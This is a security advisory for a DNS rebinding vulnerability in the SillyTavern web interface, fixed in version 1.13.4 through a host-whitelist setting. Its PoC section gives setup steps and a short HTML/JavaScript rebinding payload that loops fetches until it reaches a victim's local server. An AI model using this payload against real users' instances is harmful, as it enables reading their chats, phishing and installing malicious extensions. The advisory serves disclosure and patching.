SillyTavern Web Interface Vulnerable DNS Rebinding
Summary
The web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.
Details
DNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like 127.0.0.1 for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance without it being exposed, just by visiting a website.
PoC
- Host the PoC HTML file on a
/rebind.htmlendpoint (or any other endpoint) on a web server on port 8000 - Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)
- Replace the URL in the HTML with the returned URL on the site
- Go to
http://[URL]:8000/rebind.htmlin firefox or on any mobile browser if you're using termux - Check the developer tools console. It should return all of the data
Here is the PoC code:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Rebind Payload</title>
</head>
<body>
<script>
async function tryRebind() {
while (true) {
try {
let res = await fetch("http://[DOMAIN HERE]:8000/");
let text = await res.text();
if (text.includes("Directory listing for /")) {
console.log("Still attacker server, retrying...");
await new Promise(r => setTimeout(r, 2000));
continue; // don't break yet
}
console.log("GOT VICTIM RESPONSE!");
console.log(text.substring(0, 300));
break;
} catch (e) {
console.log("Fetch failed, retrying...", e);
await new Promise(r => setTimeout(r, 2000));
}
}
}
tryRebind();
</script>
</body>
</html>Impact
Attackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems.
Resolution
A vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: hostWhitelist.enabled in config.yaml file or SILLYTAVERN_HOSTWHITELIST_ENABLED environment variable.
While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.
Resources
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | sillytavern | < 1.13.4 | 1.13.4 |
References
- https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-7cxj-w27x-x78q
- https://nvd.nist.gov/vuln/detail/CVE-2025-59159
- https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320
- https://docs.sillytavern.app/administration/#security-checklist
- https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting
- https://github.com/SillyTavern/SillyTavern
- https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.4
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-346, CWE-940- Platform
- npm
- Package
sillytavern- Disclosed
- 06.10.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-7cxj-w27x-x78q - CC BY 4.0
Vulnerability history: sillytavern
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 11
- First → latest
- 10.2025 05.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 3
- High 4
- Medium 4
Disclosures per year
- 2025: 1
- 2026: 10
-
SillyTavern Web Interface Vulnerable DNS Rebinding this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.